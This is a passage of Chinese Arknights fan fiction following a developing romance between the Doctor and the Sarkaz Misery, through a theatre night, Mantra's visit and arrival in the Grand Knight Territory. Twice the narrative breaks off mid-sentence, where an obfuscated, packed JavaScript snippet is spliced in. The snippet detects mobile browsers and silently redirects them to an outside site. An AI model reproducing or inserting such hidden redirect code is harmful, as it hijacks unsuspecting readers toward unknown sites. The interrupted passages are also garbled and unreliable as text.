“感情上的事情哪里有公平,我本来就落后Scout了,他是您最偏爱的那一个,连他都没能做到的事情,我又怎么可能……” 博士捂住了他的嘴。 “你不比任何人差,至少在我这里是这样。如果我只是个普通泰拉人,一定会被你的温柔、包容打动。”博士仿佛下定了某种决心,他从Misery的怀中挣出,萨卡兹没有任何阻拦地松开了手,指尖的温度连带着Misery的心一起冷却。 “我也是一个容易心软的人。”博士移开手掌轻轻抚摸Misery那张强忍住悲伤的脸,他已经可以想象到如果他就这么放开Misery,悲观的萨卡兹会跑到哪个他找不到的角落里独自舔伤口的样子,然后转头装个没事人一样在他面前晃,鉴于他在医疗方面有过这样的前科。他靠近Misery的脸,在那双认真又惶惶的眼睛注视下,额头相抵,“你也是特别的,Misery,我唯独不能忍受你受到任何的委屈。” Misery微微垂下了眼睛,“您只是怜惜我。” “我不否认,”Misery眼睛垂得更低了,“但我就是没办法拒绝你,我无法给你什么承诺,也没办法给你平等的关系……” Misery叹了口气,认命道:“足够了,博士,我很容易满足的。” “别着急,我还没有说完,”他的大拇指蹭过萨卡兹低垂的眼角,热烈的呼吸喷在白皙的脸上,Misery好像才意识到他们之间离得这么近似的,脸上慢慢生出红晕,“你可以向我提出要求,任何只要是我能够做到的。” “我对您没有……” “再好好想想,Misery。” 被念到名字的萨卡兹咽下一口唾沫,喉头滚动,博士的脸近在咫尺,他额头代表着厄运的独眼巨人标志被博士覆盖,他只需要略微低头就能碰到博士毫不设防的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391773|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —— “我想吻您。” 他的声音带有本人都没有察觉到的颤抖。 博士的回应是闭上了眼睛,Misery小心翼翼,像对待蝴蝶的翅膀那样,一点一点偏过脑袋,贴上双唇。这是一个轻轻的不带有任何情欲的吻,Misery润湿了博士的嘴唇,像一阵轻柔的风,带来薄薄的水雾,沾湿了博士的唇角。 等Misery撤开时博士都还有点没反应过来,他睁开眼睛有点茫然地盯着面前不知道什么时候从头红到脖子根的萨卡兹。 Misery好像整个人要原地蒸发了。 博士没忍住噗嗤一笑,Misery转过头去,他大概没想到自己连耳朵尖都红红的,“您就知道取笑我,博士……” “我没有取笑你,是你实在太可爱了,”博士收敛了笑容,但弯弯的眼睛仍然出卖了他,“一紧张就会加敬称也很可爱。” “我不是故意的,你明明知道我在想什么,却故意装作不知道。” 博士举起手表示无辜,“那你可冤枉我了,我也没想到你想要的居然只是亲吻这种事情。” “难道在前文明亲吻是很常见的事情吗?” “唔,这么说起来也不算太常见,这个分文化的,有的文化出身背景的同事打招呼都是贴面礼。”博士还真的把脑袋凑过去,在Misery左右脸各贴了一下,萨卡兹的脸蛋软软的热热的,“像这样。不过我记得卡兹戴尔民风也不算保守啊,偶尔也会碰到在角落里拥吻的小情侣。” “那你呢,博士,亲吻对你来说意味着什么?”Misery摸了摸自己被贴过的脸,这样打招呼也不赖,前提是只有博士。 “亲吻就是亲吻,表达亲密的一种方式,这一点上我们和你们的文化区别不算大。” “哦……那如果其他人提出这样的请求呢,你也会让其他人吻你吗?” “不一定,这取决于我的心情和对对方的好感,能满足这两个条件的目前只有你。” 博士给出了非常严谨的答案,严谨到Misery的心脏扑通狂跳。他是特别的,Misery想道。 博士看着Misery的尾巴越摇越欢,没有点破,他站起身开始收拾被他俩冷落了太久的残羹剩饭。Misery也连忙跟着起来,从博士手上夺过了所有的餐具,博士疑惑地看了他一眼。 跟平常完全不一样的兴奋状态的Misery硬是一点活都不让他做,像尽职尽责的管家一样,把家务全揽了,地面和桌面被擦得锃亮,恨不得把天花板也都擦一遍。 博士只好无所事事当个闲人,他从包里翻出那两张票,演出时间正好在今晚上。 这家戏剧团的名声确实响亮,博士从没有在地广人稀的卡西米尔一次性见到这么多的人,连附近的征战骑士都被本地贵族借过来维持秩序。他们银色的装甲整齐划一,往那一站不怒自威,所以即便人很多,秩序也没有乱到哪儿去。 检过票以后,Misery抓着他的手找位置入座,不知道是怕被人流冲散还是因为什么,Misery扣紧他手指的力气比平常都要大。 艾沃娜很厚道,给他们俩的票位置正好在中后方,最佳观赏位置区域。 随着幕布的开启,现场寂静一片,悠扬的乡村音乐从音箱中传来。饰演耀骑士的演员一上场就赢得了现场雷鸣般的掌声,她有着同宣传画如出一辙的金色头发与金色尾巴,穿着装甲挥舞长枪,配合舞台光效,从天而降的登场方式以及背后金色的巨大翅膀,兼具创意和美观。 她击碎了商业联合会的黑暗,为所有人树立了什么是骑士的榜样,光芒四射,一时无两。但孤独的英雄逃脱不了暗处伤人的利箭。商业联合会与无胄盟在她的身后虎视眈眈,他们买通了耀骑士身边的人,设计让耀骑士赛前意外受伤。尽管有家人朋友的劝阻,她仍然带伤上场,与最后的敌人血骑士,在竞技场上同归于尽。 天马的光辉消散,她宛如一道耀眼但太过短暂的流星,披着光芒而来,又匆匆离去,震撼着每一个卡西米尔人的心灵。 典型的悲剧叙事,博士看着看着就开始挑里面一些显而易见的错误,据他了解耀骑士生前为感染者和所有被压迫的人发声,但在戏剧里却隐去了她感染者的身份,结局更是不合理了,感染者死去会炸出源石粉尘,这种级别的大赛会犯这种错误? Misery看得全神贯注,他甚至为耀骑士的死亡湿润了眼眶。博士叹了口气,压下了所有对戏剧的怀疑,他轻轻揽过萨卡兹的胳膊,捏捏他的掌心安慰。Misery扭到一边不让博士看见他擦眼泪,但博士强行掰过他的脑袋,吻去了泪痕。 Misery看起来更想哭了,但他最终忍住了,只是金色的眼睛泛着红,看起来怪可怜的。博士干脆直接把萨卡兹摁进自己怀里,身材高大的战士此刻却像只羽兽一样把自己蜷缩起来,轻轻靠在博士的身上,他还是不敢太用力,以免压到博士。 直到谢幕的声音响起,掌声淹没了他们的耳朵,Misery才如梦初醒,从博士身上几乎弹起来,看着被他挤压得只剩座位一角的衣服皱皱的博士,露出抱歉的目光。博士想起身拍拍衣服,表示没事,就是身上压得有点麻。Misery不由分说直接把人抱起来施展源石技艺远离了还在排队等待出场的人群。 “卡西米尔的局势比我想的还要复杂。”平稳落地以后,博士说道。 “怎么了,博士?” “我记得今晚上表演的戏剧团好像是叫红松戏剧团?” Misery点点头,但想到天黑了博士看不见又补了一句:“是他们。” “不知道他们和红松骑士团有什么关系……” “他们之间有什么联系吗?” “也许只是巧合吧。”博士摇了摇头,他握上Misery的手掌,“走吧,回家。” 9. 08 因为库兰塔的普遍自来熟,即便是不太爱说话的Misery也受到了大家的热情欢迎,人人都知道他是那位博学多才又平易近人的大炎学者的“骑士”,尽管萨卡兹再三否认,但他还是更改不了他在库兰塔大婶大爷们口中流传的光辉形象。尤其是他用匕首就轻松击败了整个镇上最厉害的退役征战骑士。 优雅,强大,善良,具有保护重要之人的意愿和能力。 面对他如果不是博士的骑士那是博士的什么的反问,Misery感到一阵词穷。下属?博士早就说过他们不是这种关系了。朋友?似乎不足以概括他们之间经历过生死的关系。恋人和爱人就更遥不可及了,他自认没有和博士亲密到这种地步,博士只是小小放纵了他的欲望,随时都能收回。 Misery又一次在路边被隔壁的隔壁的库兰塔大婶拦下,他手里提着的菜篮子已经塞满了他采购计划以外的瓜果蔬菜,“我说小M啊,看你年纪也不小了,长得帅又有一身好本领,勤快顾家,就是没个成家的样子,考不考虑下我们热情奔放的库兰塔姑娘?” “沃伦特洛布女士,我还没有想成家的想法,抱歉,我还有很多更重要的事情要做。” “少来找这些借口,你们这个年纪的,总爱拿这套来糊弄我这个老太婆。”沃伦特洛布不赞同地摇了摇头,她梳着橙红色的发辫,虽然上了年纪,但是毛皮柔顺,耳朵高高竖起,整个人看上去精明又能干,“说吧,是已经有喜欢的人了,还是说你更喜欢库兰塔男孩?” Misery看上去为难起来,他有些不好意思说道:“嗯……我是有喜欢的人了,所以,抱歉。” “嗨,早说嘛,看这样子是还没有追到吧?要趁着年轻大胆追爱啊,小伙子,遇到什么难解决的问题都可以找我们帮忙。”沃伦特洛布爽朗拍了几下他的肩膀,然后压下声音轻轻问道,“那你们家那个博士呢,他有对象了没?博士那样的文化人可能看不上我们这些乡野人家……但耐不住我家姑娘实在喜欢的紧。” “博士他不会的,在他看来,我们都是同样平等的人。”Misery澄清,“他……以前有过喜欢的人,但是那个人已经去世了,我不能替他回答这种私密的问题。” 沃伦特洛布识趣地没有继续追问下去,“唉,我其实也不赞成,没有说博士不好的意思,只是我们这样的普通人家,实在是配不上像你们这样厉害的人物,回头我就再去劝劝艾米丽。” “我们也只是普通人,没有你说的那么夸张,女士。” “啊,可是我看到红松剧团的人去你们家了,他们据说是从大骑士领首都来的大人物——” Misery神色一紧,他抬脚就往回屋的方向走,“谢谢你的提醒,回头再聊。” 他确信在昨晚上的表演中,没有任何他和博士认识的人物出现,那就只有可能是有人认出了他们。该死,他怎么会放博士一个人在家没有留任何预警措施? 拐过房屋拐角,确保库兰塔看不见他施展源石技艺以后,他闭上眼睛集中精神,呼唤他刻印在匕首上的源石回路。 很好,它的位置还在屋里,能量也稳定,说明博士没有遇到袭击。但当他想传送过去时却受到了阻碍,有一种精神性的屏障隔断了他的源石技艺施展,来的人不简单,而且不想被外界打扰,最糟糕的是,精神类是Misery最难对付的类型之一。 他立马跑起来,平常感觉三五步就到的距离,现在却遥远得好像三四里路。他急匆匆冲到门口,一把推开居然没有上锁的门。 咚——木门撞上墙壁,在寂静的屋内发出巨响。Misery精神紧绷,五官陷入阴影里,左手握紧匕首,他的身体逆着光,微微躬身提防任何可能出现的攻击。 “Misery?” 是博士的声音。他正穿着柔软的居家服,脚踩软绵绵的拖鞋,手里端着一盘还在冒白气的茶水,他的眉眼放松,眼里写着疑惑,灰白的头发依然不太整齐,松松垮垮在脑后扎了个小辫,一切看上去都是正常该有的样子。 “有谁来——” 【难得看到你这么生龙活虎的样子,我也放心了。】 熟悉的女中音在脑海中回荡,Misery这才注意到窗边桌子旁坐着的斐迪亚女士,她粗长的深蓝色尾巴优雅盘在脚底,幽蓝的瞳孔像萤火一样闪烁,她身上穿着戏剧院统一的工作服,外套敞开,领口单独系了条浅灰色的领带。博士把茶盘放下,从Misery臂弯里把菜篮子取下,拉着他进门。 “这位是红松剧团的经纪人,Mantra女士。” 斐迪亚微微颔首,用她特殊的源石技艺向Misery解释道【贸然来访实在抱歉,只是我也很想知道拐走我们两个萨卡兹大小伙子的究竟是个什么人物。】 “……我认识她,博士,她就是前巴别塔成员的那位Mantra。” 博士疑惑了一下,又想起了什么,“是跟着阿米娅离开的那位?” 【没错,博士。】 “你来这做什么?”Misery虽然削减了敌意,但仍然警惕,他以前许久没见自己这位老同事,阿米娅死后也无从得知这些年她在外面做什么。 “她来问问我们对昨晚上戏剧的评价。”博士指给他看,Mantra手里握着笔,面前还真有写了半张纸的记录。 【博士的眼光独到,见解深刻,即便是我也能从中获益良多。】 “谬赞了,我不是专业的评论家,只是个看得不多的外行,怎么能跟你这样专业的比。” 【您提到的关于耀骑士的感染者身份问题,我们最初的剧本其实有表现,但是经过商业联合会审核时删改了。】 “他们不惧怕当反派,却怕一个感染者身份的反抗者的号召。”博士哼笑。 Mantra同样会心一笑,【如果有机会,我想邀请您来一趟大骑士领,马上新一届的卡西米尔骑士特别锦标赛要开幕了,我们的巡演也要进入第二阶段,新的本子有必要听取像您这样聪明人的意见。】 Mantra没有避讳,也不知道是好心还是单纯认为Misery没有威胁,她的话语同样共享给了萨卡兹。 “我不建议去,博士。”默默在一边分拣菜的Misery插话道,“那里是商业联合会控制的区域,他们为了自身利益不择手段,你去了一定会被卷入纷争当中。” Mantra的目的还未知,博士当然不会被几句奉承就冲昏了头脑,他只说他会考虑考虑。Mantra也不勉强,收好纸张就准备告别离开,Misery出于礼节和探查的需要,自告奋勇送送这位老同事。这一次他把源石技艺铺开没有遇到任何阻碍,Mantra礼貌让出了位置。 【你就差把整个人都栓人家身上了。】博士不在,Mantra立马露出了她的本性,【说吧,你是怎么爱上这位博士的。】 “不是你想的那样,我没有……”Misery的辩白苍白无力。 【那我换一种说法,你是从多久开始认为只要博士幸福就好,你怎么都行的?】 “不知道,只是等我察觉到的时候已经晚了。” 【哦?可是我听说你们两个都疯狂爱上了博士,甚至到要大打出手的程度。】 “你从哪儿听来的?”Misery一脸复杂,“没有这回事,我跟Scout打架只是因为他弄坏了我的东西。” 【我在巴别塔的小线人,看来这种八卦消息就是会越传越离谱,还是问本人来得准确。Scout弄坏了你什么,让你这么好脾气的人都能发火?】 “没什么,一颗高纯度源石结晶。” Mantra眯起眼睛,【确实不算特别,谁送你的?】 “……博士。” 那是实验室第一次人工提取出的特殊源石结晶,与感染者身上的源石结晶结构相似,对于矿石病的研究具有重要的意义。博士把它磨成了光滑的水滴状,送给了在实验中帮忙的Misery。 “我不会感染矿石病,我的身体也没办法长出源石结晶,但我希望它能够替代我,成为我留在泰拉的象征。它的形状像一滴眼泪,这让我想起了你。” 现在回想,那个时候他就已经把全部的目光放在了博士身上。所以即便Scout不是故意弄坏他的源石结晶,他也一反常态跟Scout在训练室打了一架。 【博士他确实是个奇妙的人。】Mantra的“声音”拉回了Misery的注意,【如果阿米娅还活着,他们一定有很多话题聊得来。】 “这些年你一直在卡西米尔吗?” 【阿米娅死后,我漫无目的漂泊了一段时间,然后找到了一些有意思的事情去做,就在卡西米尔待到现在了。】 “无论你的背后是谁,我只有一个要求,不要牵扯到博士。”Misery沉声道。 【放心,我对博士没有恶意。我反而要提醒你,卡兹戴尔的手比你想的伸得更远,卡西米尔的乡下没有表面上平静,魔王的耐心有限。想彻底摆脱卡兹戴尔的控制,你们就得去拉特兰。】Mantra走向戏剧团驻扎地,朝她身后的萨卡兹挥挥手,【希望下次见能有你们的好消息。】 博士抓住在他面前摇晃的尾尖,Misery一个激灵,回头看向博士,硬生生忍住了抽回尾巴的本能。 “自从Mantra离开,你就一直魂不守舍的,怎么了?” “你想去大骑士领吗,博士?” “还不确定,如果有必要我不介意走一遭,但是你挺反对的,你是担心我去了会遇到危险?” “……不完全是。”Misery叹了口气,“只是我有种不好的预感,以后很少会有这么平静生活的机会了。” “是独眼巨人的预感,还是你的预感?”博士逆着尾巴尖往上摸了摸。 “都有。”Misery捉过博士乱动的手,再摸下去就恐怕难以收场了,“博士,我是认真的。” 博士也不打算继续捉弄他那好说话的萨卡兹了,他原本想抽回手,但Misery却用力握紧了他的手掌,他眨眨眼睛冲Misery点头示意他继续说。 “你喜欢在苏瓦乌基的生活吗?” “喜欢。” “那如果让你在苏瓦乌基和切尔诺伯格之间选择呢?” “我选择苏瓦乌基,那它迟早有一天也会变成另一个切尔诺伯格。” Misery金色的眼睛被悲伤磨损了光亮,他看上去又伤心又内疚,他坦白道:“对不起,博士,是我太自私了。这些天是我过得最开心的日子,不用去考虑矿石病,不用去考虑泰拉的未来,只用想着今晚上给你做什么饭好,明天去哪个山坡下面看新长的花。” “不用道歉,你本来就可以去过这种普通的生活,你没有拯救泰拉的责任,如果是因为我束缚了你……” 萨卡兹的肩膀垮了下来,“不!我会觉得开心是因为有你在,因为能见到你不被责任压垮的模样,见到你会因为一朵没见过的花而惊奇得叫我过来看,见到你因为我做的饭而露出的笑容……” Misery深吸一口气:“如果没有你在,那这一切都失去了意义。” “Misery……” “我不会再阻拦你的任何决定。”他执起博士的手,在手背上轻轻一吻,“我发誓。” “你还说你不是卡西米尔文学里面的骑士,这礼仪不是学得很到位吗?”博士轻声笑道。 Misery摇摇头,他倾身过来覆上博士那张能说会道的嘴,这一次他坏心眼地咬了一口博士柔软的唇瓣,“骑士不会这样做。” 博士嘶了一声,Misery没有用劲,连印子都没留下,但他仍然感觉到了不一样,萨卡兹刻意隐藏起来的攻击性泄露了冰山一角,“你学坏了,Misery!” “您不许吗?”偏偏萨卡兹还皱着眉乖巧看着他,眼神真挚动人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391774|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。好像博士真的说一句不,他就能撤回这个吻似的。 “…… “唉,真是败给你了。” 博士还能怎么办,当然只有不计较了。得到了他想要的答案,Misery开心得把博士的手掌贴在自己脸颊上,颇为眷恋地蹭了蹭。 “Mantra的提议……你再考虑下吧,她是卡兹戴尔反抗军的人,她一定程度上代表了拉特兰的态度。” “我明白了。”博士顺手捏了捏萨卡兹的脸,因为物理强度和力气的差距,他得非常使劲才能在Misery的脸上掐出红痕,不过他也舍不得这样做就是了。 戏剧团还有一天就要离开苏瓦乌基领,Mantra核对着这段时间的账上收入迎来了她的两位客人。 博士还是没舍得扔掉他们的改装车,在Mantra的建议下,按照大骑士领的入城要求进行了二次改装,挂在后视镜下的小熊被撤下,重新挂上了红松剧团的标志,是一个微型的来自他们的成名之作中耀骑士的盾牌。 【善意提醒你一下,博士,】Mantra单独对博士说道,【Misery他估计就在你这棵树上吊死了,这几天我在他脸上见到的笑容,比我还在巴别塔时看见的加起来都还要多。】 “有吗?我第一次见到他的时候,就觉得他是个温柔腼腆的人。” 【你也没救了。】Mantra留下了一句没头没尾的话就离开了,留博士在原地疑惑。 等回来的Misery和斐迪亚擦肩而过时,斐迪亚女士轻轻往他的脑子里塞了一句话。 【保护好博士,别让他像阿米娅那样离开了。】 听说博士要离开,住在附近的库兰塔都跑过来送行,这段短暂的相处时间,他们已经习惯了博士像百科全书一样帮助他们解决各种各样的疑难问题,甚至连对待感染者也一视同仁。 热情乡民送来的土特产都快堆满车后座了,博士不得不指挥Misery把飞过来的土豆和羽兽蛋一一还给他们的主人。Mantra适时过来帮他们解了围,她叫来警卫维持秩序。博士在副驾驶朝他们挥手,在一阵阵的以后再来玩中笑得眉眼弯弯。 他们并入了戏剧团的返航车队,因为改装而和其他的工作车辆区别不大,一路上通过各种检查关卡都没有遇到任何问题。 卡瓦莱利亚基,大骑士领,四城合并已经完成,巨大的城市宛如一座堡垒拱立在天穹之下。这是博士目前为止见到最大的单体移动城市,像一匹优雅的骏马,为远方来客低下了它骄傲的头颅。 流光溢彩的城市光彩工程,说它是霓虹之城也不为过,卡西米尔的乡村充满古典传统的味道,而城市却像瞬间置身于哥伦比亚,科技与先锋的线条铺设的道路,二十米的广告屏上正在轮播往届卡西米尔骑士特别锦标赛精彩锦集。 Mantra直接为他们安排入住核心竞技区内部的国际酒店,酒店的半人高小机器人在前面为他们引路,它也安装了库兰塔同款的尖尖耳朵,身后画着漂亮的蓬松大尾巴。 当按着房间号抵达入住房间时,推开门入目却是直径两米的大圆床,以及被四面透光的玻璃围起来的浴缸。 Misery在博士背后腾地脸红了。Mantra这是给他们安排的什么房间啊!? 博士只是一般程度的好奇左右看,室内熏香有股淡淡的幽香,暖黄色的光温和铺上白墙,他把外套搭在椅背上,整个人往床上一扑。 陷进柔软床铺的博士露出了一脸满足的笑容。Misery看得出博士对这个房间评价还挺满意,只是这全景浴缸未免有点……他在恶劣得多的环境下用泥水都洗过澡,如今有了奢华的条件,他却觉得在这里洗澡的话比泥水都难熬,如果是博士洗,那场面会更加…… 也许是他脸红得太明显了。博士顺着他躲闪的视线仍然定位到了浴缸,然后好像突然明白了什么突然笑出声。 “博士!——”Misery气恼道,虽然不知道博士为什么笑,但是一定是在取笑他。 “你不会真以为Mantra给我俩定了个不太正经的房间吧。”博士翻个身从床上起来,走到浴缸旁,摁下墙上的一个开关,原本透明的玻璃上起了一层磨砂质感的雾,遮蔽了内部,即使博士站进去,也只能看到一团模糊的影子。 Misery这下恨不得找个地板缝钻进去了,是他自己想歪了。博士又继续在抽屉里找出了一个遥控器,一摁,刚刚出现的雾又渐渐消失了,变回透亮的玻璃。 “放心,我不会偷看你洗澡的。”为了表示他的清白,博士主动把遥控器交到萨卡兹的手上。 “我……啊不……你……”Misery脸红得快烧起来了,支支吾吾的,连一句流畅的话都说不出口,他深吸一口气平复心情,把遥控器又放回了床头,“不用,博士,我信任你,遥控器还是留着吧。” “那你为什么脸这么红?” “我……我不介意在您面前洗澡,但是请您不要这么不防备我,我承认我对您……有些别的念头。” “啊,我以为在你们的审美里,我这种瘦弱的没什么吸引力,尤其是在普遍男帅女美、身材卓越的萨卡兹里。”博士在镜子前面打量自己,没有外面那层厚重的外套,只披着一层白色内衬的他比平常看上去瘦小了一圈,浅灰色的眸子盛满细碎的光,“Logos是个例外,但女妖的脸太伟大了。” “不,博士。”Misery走到了他身后,他环过博士过于瘦窄的腰身,低头埋进人类的颈侧,萨卡兹的尖牙轻轻拂过脆弱的肌腱,细长的尾巴绕上脚踝,“您对您的魅力一无所知。” “我……” 咚咚咚—— 突然一阵敲门声惊醒了两人,Misery立马从缠着博士的姿势下来。Mantra那冰凉又带着一点笑意的声音隔着门传进他们的大脑。 【希望没有打扰到你们,但对于接下来的安排我们有必要谈谈。】 10. 09 【卡西米尔是个充满变革、希望与挑战的地方,您也许注意到了,它不同于哥伦比亚,也不同于乌萨斯,贵族不能一手遮天,资本不遵守规则同样也会吃到苦头。】 Mantra在前方引路,带他们走过象征着卡西米尔光荣的历代竞技骑士冠军画像走廊,不出意外,博士在倒数第几个里面看到了耀骑士。 Mantra贴心停驻了十几秒,让博士能够细细观赏。耀骑士本人比戏剧团演员显得更加年轻、锋利,意气风发的青年,英气的眼睛即使隔着镜头,也如一柄长□□入眼底,死亡的阴翳还未追上这双眼睛。 “所以当年的竞技场上到底发生了什么事?” Mantra微微一笑,【我并非当事人,无法还原事件的全貌,但您接下来见到的人会告诉您想知道的全部。】 他们走入走廊深处,就连Misery都被拦在了屋外,只允许博士的进入。 【放心,她只是不想谈话被人打扰,没有恶意。】Mantra用尾尖点点萨卡兹的肩膀,【你在博士身上不是已经放好了安全措施吗?】 确实如斐迪亚所说,匕首仍然保留在博士身上,再加上博士的默许,Misery只得老老实实在门外和老同事面对面。 推开门,巨大的落地窗旁酒红色的窗帘倾泻而下,漂亮的莱塔尼亚风格圆桌旁倚靠着一位白衣的女士,桌上点着烛火,她硕大华丽的双角,受到良好保养的淡金长卷发像把整个人裹进看不见的保护壳中,像油画中的人活了过来,直到她听到开门的声音转过头。 她紫罗兰般的眼睛……只剩一只,另一只被黑色眼罩覆盖,上面绽放着一朵线织的金盏花。 “薇薇安娜·德罗斯特,久仰您的大名,博士。”她微微矮下身优雅行礼,往旁边一伸手,“请坐吧。” “你们认为博士会加入你们?” Misery眉头紧皱。 【我们不至于傲慢至此,连魔王都没能得到他的臣服,我们能开出的条件想必他也不会多感兴趣。】 “既然这样……为什么非得是他。” 【魔王相信他手里有拯救世界的钥匙,那大家都会相信。他在这片大地上苏醒,就注定不会像个普通人一样被埋没。】 “可他也只是个会疼、会伤心、会流泪的普通人。” 【……也许你没有注意到,】Mantra提醒道,【他给自己画了一个圈,曾经进入这个圈的有你和Scout,而现在——只有你了。】 薇薇安娜,前竞技骑士,鼎鼎大名的烛骑士,在一次比赛中因伤退役,虽然令万千观众感到惋惜,但在历届骑士里已经算善始善终的一位,神秘的莱塔尼亚背景为她蒙上了一层玫瑰色的滤镜,即便退役后也仍然保有一定数量的粉丝群体和声望。 “没错,红松剧团的实际编剧是我。”她大大方方承认道,“我热爱的诗歌,以另一种形式活跃在了舞台上。” “你能够忍受商业联合会对你的剧本指指点点?” 她抿唇微笑,仿佛已经回答了无数遍这个问题,“……首先要活下来,然后再谈其他,只要能为他们展示商业上的好处,他们就会逐步放松管控。” “我并非文字专家,你编排的戏剧艺术性与商业化完美平衡,即便我能够挑出问题,也不可能处理得比你更好。” “不用担心,我们请您来,是为了其他的事情。”薇薇安娜轻轻笑道,她面前的烛火燃烧得更加旺盛了。 Mantra还给了他们安排了逛街休闲的时间。卡西米尔商业发达,从哥伦比亚传来的油炸垃圾食品快餐店,到萨尔贡风味餐厅,甚至连神秘的萨米主题体验店都有。 博士对餐饮店不是特别感兴趣,毕竟他身边就长期跟着一位全能大厨,有些店里做的恐怕还没这个走南闯北的萨卡兹会的正宗。特产店博士犹豫了一下也放弃了,他没有送的人也没有送的地方,除非他想留几个喜欢的骑士纪念品,可他只认识耀骑士和烛骑士。 但到服装店他就来了劲,虽然他自己没法换下那身防护服,但不妨碍他把害羞的萨卡兹交给导购小姐。 在卡西米尔商业区,感染者没有被拒之门外,只有贫穷的感染者才会被驱逐。他们身上带着Mantra给的特殊的挂牌,所以素养良好的服务员们目不斜视,像没看到萨卡兹身上的结晶一样为他挑选合身、不容易被长出身体的源石结晶割破的衣服。Misery身量极佳,任何衣服穿在他身上都显得有模有样,甚至换上卫衣长裤直接混入本地大学都完全没有问题。 博士大手一挥让把所有看得顺眼的衣服都通通包起来,Misery一时有种奇怪的被包养的错觉,尤其是当导购小姐们一边赞叹他的身材一边夸博士的眼光独到,有个别嘴快的甚至说您的小情人真辣,博士也懒得纠正。 博士刷的是Mantra给的卡,萨卡兹换上新衣服大变样,从朴实的乡下小伙摇身一变成了城市精英,时兴的长款外套和高腰笔直的裤腿,再搭上一双皮鞋,Misery本就生得俊秀,倒还真像哥伦比亚来的商业精英,只不过这位城市精英提着大包小包规规矩矩跟在博士身后。 “博士……”萨卡兹又想起别人提起的称呼,脸上染了红色。 “既然有Mantra女士的慷慨解囊,你都收着就对了。” 想到那些衣服上的价标,虽然用的不是自己的钱但还是一阵肉疼,按照现在的汇率,把Misery这些年在卡兹戴尔的存款掏空了都买不起,还得在巴别塔打工几十年才勉强够,如果魔王大发慈悲没有封禁他的银行账户的话。 “你到底答应了他们什么?会让他们这么……舍得花钱。” “没什么特别的,只是……” 博士又想起Mantra那副我什么都缺但是就是不缺钱的样子。 “Mantra还推荐我们去附近的一家骑士主题游乐园。只不过我想了下,应该九成的危险项目我都没法参与,剩下的可能还没有直接用你的源石技艺体验好。” “要试试吗,博士?”Misery把东西找地方一放,还真伸出手来向博士邀请道。 上一次用这种方式移动还是在卡兹戴尔逃离追兵的时候,博士还真没那个心思去注意Misery的施法方式,萨卡兹的手能够融化墙壁,融化铁门,穿越一切障碍,在现代的钢筋混凝土巨型建筑中穿行也如履平地。再加上萨卡兹灵活的身体技巧,几乎博士指哪儿Misery就能带他去哪儿。城市不再是牢笼,而是独属于两个人的游乐场。 他们攀上高楼,吹着天台的风,Misery半蹲着在边缘,他的手依然稳稳固定在博士的身侧,博士伸出手去,感受着高空的气流冲撞他的指缝,霓虹灯光就在他的指尖跳跃,头顶蔚蓝的天空没有任何遮挡,脚底的行人缩成了一团团黑点。他们立于大骑士领头顶,骏马的额头,俯瞰城市的一切。 “怎么样,博士?” 由于体力消耗,Misery略微明显的呼吸声喷薄在博士耳边,每一次呼吸时起伏的胸膛就贴在他的手掌下。 “感觉就像飞一样,这是我这么多年最接近天空的一次。” 博士眼里的神采流动,像枯柴上重新燃烧起来的火焰,他浅色的睫毛在阳光下发着光,Misery还是第一次见到博士露出这样生动的表情,这让萨卡兹无比自豪他的源石技艺。 “可惜,泰拉人还被束缚在地面上,”博士的手臂往上伸向天空,“在我们的文明里,大部分时候我们都在天上。” “天上?” “嗯,比你能看见的天空还要更加遥远的地方,那个地方叫做‘宇宙’,这个词语在你们的语言里还不存在,它包含了所有的一切,”博士弯曲并拢两根手指圈了一个圆圈,“在宇宙中泰拉只是一个小小的黑点,在泰拉之外还有无数个跟泰拉相似的地方,那里一样也有湖泊、高山、平原。” “那你其他的同胞会在‘宇宙’吗?”萨卡兹温柔注视着他,在博士没有注意到的时候,他一直默默观察着博士,他从博士身上看到了孤独,在得知切城石棺时眼里一闪而过的希望与挣扎刺痛了萨卡兹的心。 博士摇了摇头,“我不知道,即便有,也是像我一样的,散落到宇宙角落里的一个个孤岛。” “如果有一天我们也能去宇宙了,我愿意陪你走遍宇宙的角落,去找到你的同胞。”Misery的语气很轻,好像一阵风就能吹散,但他话里的坚定却牢牢扎根在大地上。 一个幼稚的、不切实际的许诺,即便他们之间隔着两个文明的鸿沟,但博士知道Misery说的是认真的,他那好心眼的实诚的萨卡兹从来说到做到。 “好。” 博士支起身,胳膊环上Misery的脖子吻上去。 他吻得很急,像溺水的人抓住唯一的木板,Misery也被带得乱了呼吸节奏,他微微张嘴配合博士没什么章法的啃咬,人类的力气不大,啃得他嘴唇酥酥麻麻的。萨卡兹舌尖勾住博士软绵绵下去的舌头,仗着体力的优势,逐渐把主动权从博士那里拿过来,反客为主,半安慰地舔吻,半情动地掠夺人类嘴里不多的空气。 直到博士精疲力竭无力反抗时Misery才放过他,两个人的脸都红透了,这才意识到自己干了什么的博士捂住了脸,像个鹌鹑一样把自己缩起来。Misery没有继续刺激他,只是嘴上带笑轻巧带着博士回归地面。 等回到地上以后,博士就又跟没事人一样了,但他眼里动人的神采也消失了,回到了那个冷静淡然的博士。 他们回酒店前还是去购买了最新式的终端,这一定程度上解决了两人分开时无法及时联系的问题。Misery把博士的号存在了通讯录第一位,还特别标注了特殊提醒。 